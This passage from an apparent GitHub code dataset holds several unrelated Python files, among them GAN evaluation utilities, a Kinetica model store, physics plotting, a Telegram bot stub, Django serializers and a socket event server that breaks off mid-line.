np.random.permutation(len(ori_data))[:anal_sample_no]\n\n # Data preprocessing\n ori_data = np.asarray(ori_data)\n generated_data = np.asarray(generated_data)\n\n ori_data = ori_data[idx]\n generated_data = generated_data[idx]\n\n no, seq_len, dim = ori_data.shape\n\n for i in range(anal_sample_no):\n if (i == 0):\n prep_data = np.reshape(np.mean(ori_data[0, :, :], 1), [1, seq_len])\n prep_data_hat = np.reshape(np.mean(generated_data[0, :, :], 1), [1, seq_len])\n else:\n prep_data = np.concatenate((prep_data,\n np.reshape(np.mean(ori_data[i, :, :], 1), [1, seq_len])))\n prep_data_hat = np.concatenate((prep_data_hat,\n np.reshape(np.mean(generated_data[i, :, :], 1), [1, seq_len])))\n\n # PCA Analysis\n pca = PCA(n_components=2)\n pca.fit(prep_data)\n pca_results = pca.transform(prep_data)\n pca_hat_results = pca.transform(prep_data_hat)\n\n real_std = pca_results.std(axis=0)\n fake_std = pca_hat_results.std(axis=0)\n print(\"Real std: \", real_std)\n print(\"Fake std: \", fake_std)\n if np.mean(real_std / fake_std) < 1.5:\n return False\n else:\n return True\n\n\ndef log_visualizations(dataset, genereted_data, run):\n \"\"\"Logging visualization results\"\"\"\n r = np.array([data[0].numpy() for data in dataset])\n f_pca = visualization(r, genereted_data, 'pca')\n run[\"PCA\"].upload(f_pca)\n plt.close(f_pca)\n\n f_tsne = visualization(r, genereted_data, 'tsne')\n run[\"tsne\"].upload(f_tsne)\n plt.close(f_tsne)\n\n f_umap = visualization(r, genereted_data, 'umap')\n run[\"umap\"].upload(f_umap)\n plt.close(f_umap)\n\n run[\"mode_collapse\"] = modeCollapseEvaluator(r, genereted_data)\n\n\ndef google_data_loading(seq_length):\n def MinMaxScaler(data):\n numerator = data - np.min(data, 0)\n denominator = np.max(data, 0) - np.min(data, 0)\n return numerator / (denominator + 1e-7)\n\n x = np.loadtxt('datasets/GOOGLE_BIG.csv', delimiter=\",\", skiprows=1)[::-1]\n # x = torch.tensor(x.copy())\n x = MinMaxScaler(x)\n\n # Build dataset\n dataX = []\n\n # Cut data by sequence length\n for i in range(0, len(x) - seq_length):\n _x = x[i:i + seq_length]\n dataX.append(_x)\n\n # Mix Data (to make it similar to i.i.d)\n idx = np.random.permutation(len(dataX))\n\n outputX = []\n for i in range(len(dataX)):\n outputX.append(dataX[idx[i]])\n\n return torch.tensor(outputX)\n\n\ndef restore_weights(model, run):\n run[\"model_checkpoint\"].download(destination=\"models/\")\n model.load_state_dict(torch.load(\"models/model_checkpoint.pt\", map_location=\"cpu\"))\n run.stop()\n return model\n\n\n","repo_name":"Kohmann/master-GAN","sub_path":"TimeGAN/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12259,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"40096277107","text":"import gpudb\nimport os\nimport collections\n\nKDBC = gpudb.GPUdb(encoding='BINARY', host='127.0.0.1', port='9191')\n\nclass KModelIO(object):\n def __init__(self,h_db=KDBC):\n self.h_db=h_db\n self.file_type = \"\"\"\n {\n \"type\": \"record\",\n \"name\": \"file_type\",\n \"fields\": [\n {\"name\":\"model_binary\",\"type\":\"bytes\"},\n {\"name\":\"model\",\"type\":\"string\"},\n {\"name\":\"model_id\",\"type\":\"string\"},\n {\"name\":\"Accuracy\",\"type\":\"double\"},\n {\"name\":\"Data_Time_created\",\"type\":\"string\"}\n ]\n }\"\"\".replace('\\n', '').replace(' ', '')\n self.type_properties = {\"model_id\": [\"char64\"], \"Data_Time_created\": [\"datetime\"]}\n \n \n def Model2Kinetica(self,pbfile=None,sess=None,graph=None,output_node_names=None,ModelName=\"Model\",Loss=0.99, COLLECTION=\"Network\"):\n \"\"\"\n pbfile can be a path to a local file or a pickle bytes.\n \"\"\"\n import uuid\n from time import gmtime, strftime\n datetime = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n from tensorflow import graph_util\n h_db = self.h_db\n\n # create model table if not exist\n table = 'TFmodel'\n type_def=self.file_type\n if not h_db.has_table(table_name=table)['table_exists']:\n response = h_db.create_type(type_definition=type_def,\n label=table, properties=self.type_properties)\n h_db.create_table(table_name=table, type_id=response['type_id'],\n options={\"collection_name\": COLLECTION})\n\n # generate output binary string\n # output_node_names example,output_node_names = \"input,output,output2\"\n #print \"works 1\"\n if pbfile !=None:\n if len(pbfile)<256:\n model=open(pbfile,'rb').read()\n else:\n model=pbfile\n #print \"works 2\"\n else:\n output_graph_def = graph_util.convert_variables_to_constants(\n sess, # The session is used to retrieve the weights\n graph.as_graph_def(),\n output_node_names.split(\",\") # The output node names are used to select the usefull nodes\n )\n model=output_graph_def.SerializeToString()\n # insert model into kinetica\n encoded_obj_list = []\n ID = str(uuid.uuid1())\n datum = collections.OrderedDict()\n datum[\"model_binary\"] = model\n datum[\"model\"] = ModelName\n datum[\"model_id\"] = ID\n datum[\"Accuracy\"] = Loss\n datum[\"Data_Time_created\"] = datetime\n encoded_obj_list.append(h_db.encode_datum(self.file_type, datum))\n options = {'update_on_existing_pk': 'true'}\n response = h_db.insert_records(table_name=table, data=encoded_obj_list, list_encoding='binary', options=options)\n return ID\n \n\n def Model_from_Kinetica(self,Model_ID):\n from tensorflow import GraphDef,Graph,import_graph_def\n h_db = self.h_db\n response = h_db.get_records(table_name='TFmodel', encoding=\"binary\",\n options={'expression': \"model_id=\\\"\" + Model_ID + \"\\\"\"})\n records = gpudb.GPUdbRecord.decode_binary_data(response[\"type_schema\"], response[\"records_binary\"])\n record=records[0]\n record[\"model_binary\"]\n graph_def = GraphDef()\n graph_def.ParseFromString(record[\"model_binary\"])\n\n graph = Graph()\n with graph.as_default():\n # The name var will prefix every op/nodes in your graph\n # Since we load everything in a new graph, this is not needed\n import_graph_def(graph_def)\n return graph\n \n \n def SkModel_from_Kinetica(self,Model_ID):\n #from tensorflow import GraphDef,Graph,import_graph_def\n response = self.h_db.get_records(table_name='TFmodel', encoding=\"binary\",\n options={'expression': \"model_id=\\\"\" + Model_ID + \"\\\"\"})\n records = gpudb.GPUdbRecord.decode_binary_data(response[\"type_schema\"], response[\"records_binary\"])\n return records[0][\"model_binary\"]\n \n\n def getData(self, table='Mnist_train', offset=0, numberData=1):\n h_db=self.h_db\n response = h_db.get_records(table_name=table, offset=offset, limit=numberData)\n res_decoded = gpudb.GPUdbRecord.decode_binary_data(response[\"type_schema\"], response[\"records_binary\"])\n return res_decoded\n","repo_name":"kineticadb/kinetica-jupyterlab","sub_path":"notebooks/KJIO/kmodel_io.py","file_name":"kmodel_io.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"17963879780","text":"\"\"\"可视化计算的结果\"\"\"\n\n\nimport argparse\nimport numpy\nfrom helpers.drawer import draw_heatmap, draw_points\nfrom basics import Point\nfrom fermi.stripesquare import inverse_uval, set_stripe, set_potential\nfrom fermi.stripesquare import get_s_band_patches, get_p_band_patches\n\n\ndef draw_single_channel(args):\n '''绘制单通道的图片结果'''\n rpath = 'heatmap6/s{:.2f}nu{:.2f}'.format(args.stripe, args.dope)\n uval = numpy.load('{0}/{1:.2f}U.npy'.format(rpath, args.lval))\n #\n c2i = {'s': [0], 'p': [1], '?': [0, 1]}\n i2c = {0: 's', 1: 'p'}\n candi = [c2i[bdi] for bdi in args.channel]\n dims = [len(bdi) for bdi in candi]\n place_holder = numpy.ndarray(dims)\n ndit = numpy.nditer(place_holder, flags=['multi_index'])\n while not ndit.finished:\n idx1, idx2, idx3, idx4 = ndit.multi_index\n bd1 = candi[0][idx1]\n bd2 = candi[1][idx2]\n bd3 = candi[2][idx3]\n bd4 = candi[3][idx4]\n print(bd1, bd2, bd3, bd4, '\\t', i2c[bd1], i2c[bd2], i2c[bd3], i2c[bd4])\n draw_heatmap(\n uval[bd1, bd2, bd3, bd4, :, :, args.n3idx],\n save='show'\n )\n ndit.iternext()\n\n\ndef draw_mixed_channel(args):\n '''绘制通道混合在一起的结果'''\n rpath = 'heatmap6/s{:.2f}nu{:.2f}'.format(args.stripe, args.dope)\n uval = numpy.load('{0}/{1:.2f}U.npy'.format(rpath, args.lval))\n #按照逆时针顺序来给带排序\n shape = numpy.shape(uval)\n bnum, pnum = shape[0], shape[4]\n ppnum = pnum // 4\n idxpairs = []\n #s带左上\n for idx in range(ppnum):\n idxpairs.append((0, 3*ppnum + idx))\n #p带右上\n for idx in range(ppnum):\n idxpairs.append((1, 2*ppnum + idx))\n #p带左上\n for idx in range(ppnum):\n idxpairs.append((1, 3*ppnum + idx))\n #s带右上\n for idx in range(ppnum):\n idxpairs.append((0, idx))\n #s带右下\n for idx in range(ppnum):\n idxpairs.append((0, ppnum + idx))\n #p带左下\n for idx in range(ppnum):\n idxpairs.append((1, idx))\n #p带右下\n for idx in range(ppnum):\n idxpairs.append((1, ppnum + idx))\n #s带左下\n for idx in range(ppnum):\n idxpairs.append((1, 2*ppnum + idx))\n #整理图片\n #print(idxpairs)\n totpnum = len(idxpairs)\n heatmap = numpy.ndarray((totpnum, totpnum))\n idx3pair = idxpairs[args.n3idx]\n for chn in args.channel:\n if chn == 's':\n bd4 = 0\n elif chn == 'p':\n bd4 = 1\n else:\n raise ValueError('bd4不对')\n for hid1, pr1 in enumerate(idxpairs, 0):\n for hid2, pr2 in enumerate(idxpairs, 0):\n bd1, idx1 = pr1\n bd2, idx2 = pr2\n bd3, idx3 = idx3pair[0], idx3pair[1]\n heatmap[hid1, hid2] = uval[bd1, bd2, bd3, bd4, idx1, idx2, idx3]\n draw_heatmap(heatmap)\n\n\ndef draw_count_channel(args):\n '''绘制通道混合在一起的结果'''\n rpath = 'heatmap6/U2/s{:.2f}nu{:.2f}'.format(args.stripe, args.dope)\n uval = numpy.load('{0}/{1:.2f}U.npy'.format(rpath, args.lval))\n #uval2 = numpy.load('{0}/{1:.2f}U.npz'.format(rpath, args.lval))\n #print(numpy.allclose(uval, uval2))\n #按照逆时针顺序来给带排序\n shape = numpy.shape(uval)\n bnum, pnum = shape[0], shape[4]\n ppnum = pnum // 4\n idxpairs = []\n #s带左上\n for idx in range(ppnum):\n idxpairs.append((0, 3*ppnum + idx))\n #p带右上\n for idx in range(ppnum):\n idxpairs.append((1, 2*ppnum + idx))\n #p带左上\n for idx in range(ppnum):\n idxpairs.append((1, 3*ppnum + idx))\n #s带右上\n for idx in range(ppnum):\n idxpairs.append((0, idx))\n #s带右下\n for idx in range(ppnum):\n idxpairs.append((0, ppnum + idx))\n #p带左下\n for idx in range(ppnum):\n idxpairs.append((1, idx))\n #p带右下\n for idx in range(ppnum):\n idxpairs.append((1, ppnum + idx))\n #s带左下\n for idx in range(ppnum):\n idxpairs.append((1, 2*ppnum + idx))\n #整理图片\n #print(idxpairs)\n totpnum = len(idxpairs)\n heatmap = numpy.ndarray((totpnum, totpnum))\n idx3pair = idxpairs[args.n3idx]\n for chn in args.channel:\n for hid1, pr1 in enumerate(idxpairs, 0):\n for hid2, pr2 in enumerate(idxpairs, 0):\n bd1, idx1 = pr1\n bd2, idx2 = pr2\n bd3, idx3 = idx3pair[0], idx3pair[1]\n bdsum = bd1 + bd2 + bd3\n #这种代表需要有偶数个p\n if chn == 'e':\n #如果已经有偶数个p,则加一个s\n bd4 = 0 if bdsum % 2 == 0 else 1\n #这种代表有奇数个p\n elif chn == 'o':\n #如果已经有偶数个p,则加一个p\n bd4 = 1 if bdsum % 2 == 0 else 0\n else:\n raise ValueError('bd4不对')\n heatmap[hid1, hid2] = uval[bd1, bd2, bd3, bd4, idx1, idx2, idx3]\n draw_heatmap(heatmap)\n\n\ndef draw_basis_channel(args):\n '''在子格子的表示上显示'''\n rpath = 'heatmap6/s{:.2f}nu{:.2f}'.format(args.stripe, args.dope)\n uval = numpy.load('{0}/{1:.2f}U.npy'.format(rpath, args.lval))\n #找到动量空间中的几个代表点\n upatches = numpy.ndarray(32, dtype=Point)\n #anggap = numpy.pi / 2 / 8\n #for idx in range(8):\n # tanv = numpy.tan((idx + 0.5)*anggap)\n # yval = numpy.pi * (tanv) / (1 + tanv)\n # xval = yval / tanv\n # upatches[idx] = Point(xval, yval, 1)\n # upatches[8 + idx] = Point(-yval, xval, 1)\n # upatches[16 + idx] = Point(-xval, -yval, 1)\n # upatches[24 + idx] = Point(xval, -yval, 1)\n #draw_points(upatches)\n set_stripe(0.)\n set_potential(0.)\n upatches[:16] = get_s_band_patches(16)\n upatches[16:] = get_p_band_patches(16)\n draw_points(upatches)\n #上面设置stripe和potential为0目的是得到相应的点\n #现在要设置回来,因为后面反变换回来的时候需要find_patch\n set_stripe(args.stripe)\n set_potential(args.dope)\n #\n spats = get_s_band_patches(16)\n ppats = get_p_band_patches(16)\n ubas, iubas = inverse_uval(upatches, spats, ppats, uval)\n #\n draw_heatmap(ubas[0, 0, 0, 0, :, :, 4])\n draw_heatmap(ubas[0, 1, 1, 0, :, :, 4])\n draw_heatmap(ubas[1, 0, 0, 1, :, :, 4])\n draw_heatmap(ubas[1, 1, 1, 1, :, :, 4])\n #c2i = {'s': [0], 'p': [1], '?': [0, 1]}\n #i2c = {0: 's', 1: 'p'}\n #candi = [c2i[bdi] for bdi in args.channel]\n #dims = [len(bdi) for bdi in candi]\n #place_holder = numpy.ndarray(dims)\n #ndit = numpy.nditer(place_holder, flags=['multi_index'])\n\ndef main():\n '''入口'''\n parser = argparse.ArgumentParser(\n prog='python3 visualize.py',\n description='visualize U'\n )\n parser.add_argument('-m', '--mode', type=str, required=True, help='drawing mode')\n parser.add_argument('-s', '--stripe', type=float, required=True, help='stripe strength')\n parser.add_argument('-d', '--dope', type=float, required=True, help='hole dope')\n parser.add_argument('-l', '--lval', type=float, required=True, help='lval')\n parser.add_argument('-c', '--channel', type=str, required=True, help='which band')\n parser.add_argument('-n', '--n3idx', type=int, help='require if single mode')\n parser.add_argument('--prefix', type=str,\\\n default='scripts/stripe/str', help='saved file prefix')\n args = parser.parse_args()\n #\n mode_dict = {\n 'single': draw_single_channel,\n 'mixed': draw_mixed_channel,\n 'count': draw_count_channel,\n 'basis': draw_basis_channel\n }\n mode_dict[args.mode](args)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"maryprimary/frg","sub_path":"scripts/stripe/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":7745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5479982609","text":"# test waiting within \"async for\" __anext__ function\n\n# uPy allows normal generators to be awaitables.\n# CircuitPython does not.\n# In CircuitPython you need to have an __await__ method on an awaitable like in CPython;\n# and like in CPython, generators do not have __await__.\n\nclass Awaitable:\n def __init__(self, x):\n self.x = x\n\n def __await__(self):\n print('f start:', self.x)\n yield self.x + 1\n yield self.x + 2\n return self.x + 3\n\nclass ARange:\n def __init__(self, high):\n print('init')\n self.cur = 0\n self.high = high\n\n def __aiter__(self):\n print('aiter')\n return self\n\n async def __anext__(self):\n print('anext')\n print('f returned:', await Awaitable(20))\n if self.cur < self.high:\n val = self.cur\n self.cur += 1\n return val\n else:\n raise StopAsyncIteration\n\nasync def coro():\n async for x in ARange(4):\n print('x', x)\n\no = coro()\ntry:\n while True:\n print('coro yielded:', o.send(None))\nexcept StopIteration:\n print('finished')\n","repo_name":"KMKfw/kmkpython","sub_path":"tests/basics/async_for2.py","file_name":"async_for2.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"32"} +{"seq_id":"1392446999","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 5 06:09:55 2018\n\n@author: User\n\"\"\"\nx=[1,2,3,4,5,6,7,8,9,0,1,2,3]\nstart=4\nprint(len(x))\nprint()\nend=12\nt=9\ndelta=end-start\nfor i in range(end,start-1,-1):\n print (x[i],' ',i)\nfor w in range(0,5,1):\n t-=1\n print(t/100)","repo_name":"JeffHabe/PythonWorkspace","sub_path":"For LOOP.py","file_name":"For LOOP.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37511625580","text":"import telebot\nimport Compres\n\n\nbot = telebot.TeleBot(token)\n\n@bot.message_handler(commands=['start'])\ndef welcom(message):\n send_mess = f' Привет {message.from_user.first_name}, как оно?'\n bot.send_message(message.chat.id, send_mess, parse_mode='html')\n@bot.message_handler(commands=['websait'])\ndef go_web(message):\n marc = telebot.types.InlineKeyboardMarkup()\n marc.add(telebot.types.InlineKeyboardButton('перейти на сайт', url='https://www.youtube.com/watch?v=QoJ_yvPttlc'))\n # marc.add(telebot.types.InlineKeyboardButton('нет не хочу'))\n send_message = f'Отлично, вперед!'\n bot.send_message(message.chat.id, send_message, parse_mode='html', reply_markup=marc)\n\n\n\n\n\n\n\n\n\n\n\n\n\nbot.polling(non_stop=True)\n","repo_name":"makaroch/semenar_py_dz","sub_path":"sem_9/main_2.py","file_name":"main_2.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73904030491","text":"\nimport json\n\nfrom paho.mqtt import client as mqtt_client\n\nimport bf_module.MQTT.common as MQTT\nimport bf_module.MQTT.config as CONFIG_MQTT\n\n\nTAG = \"[MQTT_DB_Service]\"\nclient_id = \"raspberry_bf\"\n\ndef on_message(client, userdata, msg:mqtt_client.MQTTMessage):\n print(f\"[{msg.topic}] : {msg.payload.decode()}\")\n\n\n\ndef subscribe(client: mqtt_client.Client):\n client.subscribe(CONFIG_MQTT.topic_all)\n client.on_message = on_message\n\n \n\ndef run():\n client = MQTT.connect_mqtt(client_id)\n subscribe(client)\n client.loop_forever()\n\n\nif __name__ == '__main__':\n print(f\"{TAG}:init\")\n run()\n print(f\"{TAG}:end\")","repo_name":"YecidMorenoUSP/BomFuturo_RBPI4","sub_path":"bf_module/Services/MQTT_LOG_service.py","file_name":"MQTT_LOG_service.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34568227576","text":"class Series:\n \"\"\"\n Class for generic Serie\n \"\"\"\n def __init__(self, data, series_type, name=None):\n self.name = name\n self.type = series_type\n self.data = data\n\n def __str__(self):\n \"\"\"\n String representation of a Serie\n \"\"\"\n return '''\n Series type: {}\n Series name: {}\n Series data: {}'''.format(type(self), self.name, str(self.data))\n\n def __eq__(self, other):\n \"\"\"\n Overwrites the equal operator \n Series types or lengths are different => fail hard\n Otherwise, element-wise comparison\n \"\"\"\n if self.type != other.type:\n raise TypeError('Series have different types: {} and {}'.format(self.type, other.type))\n elif len(self.data) != len(other.data):\n raise RuntimeError('Series have different lengths')\n else:\n return self.data == other.data\n","repo_name":"ruxi09/AlternativeDataFrame","sub_path":"generic_series.py","file_name":"generic_series.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29912375577","text":"\nimport re\ndef most_common_words(text, n):\n lst, d = re.findall(r\"\\b\\w+\\b\", text.lower()), dict()\n for w in lst:\n if w in d:\n d[w] += 1\n else:\n d[w] = 1\n lst_d = sorted([(k, v) for k, v in d.items()],\n key=lambda tpl: (-tpl[1], lst.index(tpl[0])))\n return {t[0]: t[1] for t in lst_d[:min(n, len(lst_d))]}\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"5pYkwf948KBQ3pNwz_11.py","file_name":"5pYkwf948KBQ3pNwz_11.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36658944177","text":"import re\nimport os\nimport sys\nfrom typing import List\n\n\ndef repair_ids(text: str) -> str:\n # replace id's in tags with explicit xml:id value, if it starts with digit\n text = re.sub(r'<([a-zA-Z_][A-Za-z-_.]*?) ([^<^>]?xml:id=\")([0-9].*?\")', \"<\\g<1> \\g<2>\\g<1>\\g<3>\", text)\n\n # replace id's in text @corresp tags, if it starts with digit\n text = re.sub(r'(#p\\g<2>\", text)\n return text\n\n\ndef check_arguments(arguments: List[str]) -> None:\n if len(arguments) != 2:\n raise Exception(\"ERROR: Incorrect number of arguments.\")\n elif not type(arguments[1]) is str or not os.path.isdir(arguments[1]):\n raise TypeError(\"Expected directory path as command line argument.\")\n\n\ndef repair(source_dir: str) -> None:\n files = os.listdir(source_dir)\n\n for filename in files:\n if os.path.isfile(os.path.join(source_dir, filename)):\n source_text = load_text(source_dir, filename)\n if source_text:\n text_to_write = repair_ids(source_text)\n save_xml(text_to_write, filename, source_dir)\n\n\ndef load_text(directory: str, filename: str) -> str:\n file_path = os.path.join(directory, filename)\n text = \"\"\n try:\n with open(file_path) as file:\n text = file.read()\n except OSError:\n print(\"Couldn't open {} file.\".format(filename), file=sys.stderr)\n\n return text or None\n\n\ndef save_xml(text_to_write: str, filename: str, target_dir: str) -> None:\n # filename_to_write = filename + \"_id_corected\" + \".xml\"\n write_directory = os.path.abspath(os.path.join(target_dir, os.path.pardir, \"id_corrected\"))\n\n try:\n os.makedirs(write_directory)\n except FileExistsError:\n pass\n except PermissionError:\n raise PermissionError(\"Cannot create directory {}. Check permissions.\".format(write_directory))\n\n try:\n with open(os.path.join(write_directory, filename), 'w') as file:\n file.write(text_to_write)\n except OSError:\n print(\"Couldn't open {} file.\".format(filename), file=sys.stderr)\n\n\ndef main(argv: List[str]) -> None:\n check_arguments(argv)\n dir_to_repair = argv[1]\n repair(dir_to_repair)\n\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"providedh/depositions-text-injection","sub_path":"src/depositions_text_injection/repair_wrong_xml_id.py","file_name":"repair_wrong_xml_id.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28802812537","text":"from rest_framework import serializers\nfrom .models import Reserva\nfrom .models import Conductor\nfrom .models import Vehiculo\nfrom .models import Pasajero\nfrom .models import Ruta\nfrom .models import Grupo\nfrom .models import Viaje\nfrom datetime import datetime, timedelta, date\nfrom django.db.models import Sum\n\n\nclass VehiculoSerializer(serializers.ModelSerializer):\n class Meta:\n model = Vehiculo\n fields = '__all__'\n\nclass ConductorSerializer(serializers.ModelSerializer):\n class Meta:\n model = Conductor\n fields = '__all__'\n\nclass ReservaSerializer(serializers.ModelSerializer):\n class Meta:\n model = Reserva\n fields = '__all__'\n \nclass PasajeroSerializer(serializers.ModelSerializer):\n class Meta:\n model = Pasajero\n fields = '__all__'\n\nclass RutaSerializer(serializers.ModelSerializer):\n class Meta:\n model = Ruta\n fields = '__all__'\n\nclass GrupoSerializer(serializers.ModelSerializer):\n class Meta:\n model = Grupo\n fields = '__all__'\n\nclass ReservaSerializer(serializers.ModelSerializer):\n class Meta:\n model = Reserva\n fields = '__all__'\n \nclass ViajeSerializer(serializers.ModelSerializer):\n class Meta:\n model = Viaje\n fields = '__all__'\n \n\nclass ReservaCreateSerializer(serializers.Serializer):\n def to_representation(self, instance):\n # Este método controla cómo se representan los objetos de reserva en el JSON\n return {\n 'id': instance.id,\n 'DNI': instance.FK_Pasajero.DNI,\n 'NombreRuta': instance.FK_Viaje.FK_Ruta.Nombre,\n 'FechaReserva': instance.Fecha\n }\n \n DNI = serializers.IntegerField()\n NombreRuta = serializers.CharField()\n \n def validate(self, data):\n # verificar que el pasajero exista\n if not Pasajero.objects.filter(DNI=data['DNI']).exists():\n raise serializers.ValidationError(\"El pasajero no existe\")\n\n # buscar la ruta por nombre\n try:\n ruta = Ruta.objects.get(Nombre=data['NombreRuta'])\n except Ruta.DoesNotExist:\n raise serializers.ValidationError(\"La ruta especificada no existe\")\n \n # verificar que existe un viaje para la fecha del día siguiente\n try:\n viaje = Viaje.objects.get(FK_Ruta_id=ruta.id, FechaViaje__date=date.today() + timedelta(days=1))\n except Viaje.DoesNotExist:\n raise serializers.ValidationError(\"No hay un viaje programado para la ruta especificada el día siguiente\")\n \n # verificar que existe el grupo\n try:\n grupo = Grupo.objects.get(FK_Ruta=ruta.id)\n except Grupo.DoesNotExist:\n raise serializers.ValidationError(\"No existe Grupo\")\n \n # calcular la capacidad de la ruta\n capacidad_total = Vehiculo.objects.filter(grupo__FK_Ruta=grupo.id).aggregate(total_capacidad=Sum('Capacidad'))['total_capacidad']\n \n if Reserva.objects.filter(FK_Viaje_id=viaje.id).count() >= capacidad_total:\n raise serializers.ValidationError(\"La ruta está llena\")\n\n return data\n\n def create(self, validated_data):\n pasajero = Pasajero.objects.get(DNI=validated_data['DNI'])\n ruta = Ruta.objects.get(Nombre=validated_data['NombreRuta'])\n viaje = Viaje.objects.filter(FK_Ruta=ruta, FechaViaje__date=date.today() + timedelta(days=1)).first()\n\n reserva = Reserva.objects.create(FK_Viaje=viaje, FK_Pasajero=pasajero, Fecha=datetime.now())\n \n return reserva\n \n\n\n \n\n\n\n","repo_name":"secamc93/Reservaz","sub_path":"Backend/rz/app1/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21861455845","text":"#!/usr/bin python\n\nimport os\nimport errno\nfrom datetime import datetime\nfrom socket import error as sock_error\n\nfrom Server import Server\nfrom Event import Event\n\nclass EventConsumer(Server):\n\n\tdef __init__(self, config, buffSize=1024):\n\t\tServer.__init__(self, config[\"eventServer\"][\"ipAddress\"], \n\t\t\tconfig[\"eventServer\"][\"port\"], buffSize)\n\t\tself.dbConfig = config[\"dbSettings\"]\n\t\tself.running = True\n\t\tself.mediaDir = \"media/\"\n\t\tif not os.path.isdir(self.mediaDir):\n\t\t\tos.makedirs(self.mediaDir)\n\n\t\tprint(\"Event Consumer Server started...\")\n\t\t\n\n\tdef getACK(self, eType, seq = None):\n\t\tack = []\n\t\tack.append(3 << 6) # event ACK packet type\n\t\tack[0] = ack[0] | (eType << 4) # type of event acked\n\t\tack.extend([0 for _ in range(0,3)]) # add 3 bytes of padding\n\n\t\tif isinstance(seq, int):\n\t\t\tif seq <= 0xFFFFFFFF and seq >= 0:\n\t\t\t\tack.append(seq >> 24)\n\t\t\t\tack.append((seq & 0x00FF0000) >> 16)\n\t\t\t\tack.append((seq & 0x0000FF00) >> 8)\n\t\t\t\tack.append(seq & 0x000000FF)\n\t\t\telse:\n\t\t\t\tprint(\"Invalid sequence number %i\" % seq)\n\n\t\treturn bytes(ack)\n\n\n\tdef getHBResponse(self):\n\t\tresByte = 1 << 6 # heartbeat packet type\n\t\tresByte = resByte | (2 << 4) # response heartbeat type\n\n\t\tif self.running:\n\t\t\tresByte = resByte | 1 # 1 for alive\n\n\t\treturn bytes([resByte])\n\n\n\tdef getImageName(self):\n\t\tfilename = \"\"\n\t\tfor i in range(0, 10000):\n\t\t\tfilename = \"img%04d.jpg\" % i\n\t\t\tif not os.path.exists(self.mediaDir + filename):\n\t\t\t\tbreak\n\n\t\treturn filename\n\n\n\tdef consumeEvents(self):\n\t\twhile self.running:\n\t\t\tself.sock.listen(0)\n\t\t\tcSock, cAddr = self.sock.accept()\n\t\t\t#print(\"[Event Consumer] Accepted connection from %s.\" % str(cAddr))\n\t\t\tconnAlive = True\n\t\t\tevent = []\n\t\t\tpictureSize = None\n\t\t\tfilename = None\n\n\t\t\ttimeStarted = datetime.now();\n\t\t\ttry:\n\t\t\t\twhile connAlive:\n\t\t\t\t\tdata = cSock.recv(self.buffSize)\n\n\t\t\t\t\tevent.extend(data)\n\n\t\t\t\t\tif (event[0] >> 6) == 1: # heartbeat message\n\t\t\t\t\t\tconnAlive = False\n\n\t\t\t\t\tif (event[0] & 0x0F) == 0: # no picture (should be exactly 8 bytes)\n\t\t\t\t\t\tif len(event) >= 8:\n\t\t\t\t\t\t\tconnAlive = False\n\t\t\t\t\telif len(event) >= 12:\n\t\t\t\t\t\tpictureSize = event[8] << 24\n\t\t\t\t\t\tpictureSize = pictureSize | (event[9] << 16)\n\t\t\t\t\t\tpictureSize = pictureSize | (event[10] << 8)\n\t\t\t\t\t\tpictureSize = pictureSize | event[11]\n\n\t\t\t\t\t\tif len(event) >= pictureSize + 12:\n\t\t\t\t\t\t\tconnAlive = False\n\n\t\t\t\t# Organize event data\n\t\t\t\ttimeReceived = datetime.now()\n\t\t\t\tpacketType = event[0] >> 6\n\n\t\t\t\tif packetType == 1: # heartbeat\n\t\t\t\t\thbType = (event[0] & 0x30) >> 4;\n\t\t\t\t\thbMessage = event[0] & 0x0F;\n\n\t\t\t\t\t# Heartbeat Type: 1=Request, 2=Response\n\t\t\t\t\tif hbType == 1:\n\t\t\t\t\t\tcSock.send(self.getHBResponse())\n\t\t\t\t\t\tcSock.close()\n\n\t\t\t\telif packetType == 2: # event\n\n\t\t\t\t\teventType = (event[0] & 0x30) >> 4\n\t\t\t\t\t\n\t\t\t\t\tseqNum = event[4] << 24\n\t\t\t\t\tseqNum = seqNum | (event[5] << 16)\n\t\t\t\t\tseqNum = seqNum | (event[6] << 8)\n\t\t\t\t\tseqNum = seqNum | event[7]\n\n\t\t\t\t\t# this is (I think) the earliest we can ACK the event\n\t\t\t\t\tcSock.send(self.getACK(eventType, seqNum))\n\t\t\t\t\tcSock.close()\n\n\t\t\t\t\te = Event(self.dbConfig, eventType, timeStarted, timeReceived, seqNum)\n\n\t\t\t\t\tuserID = event[1] >> 8\n\t\t\t\t\tuserID = userID | (event[2] & 0x0FF)\n\t\t\t\t\te.setUser(userID)\n\n\t\t\t\t\tsensors = [ False for _ in range(0,8) ]\n\t\t\t\t\tsensors[0] = ((event[3] & 128) >> 7) == 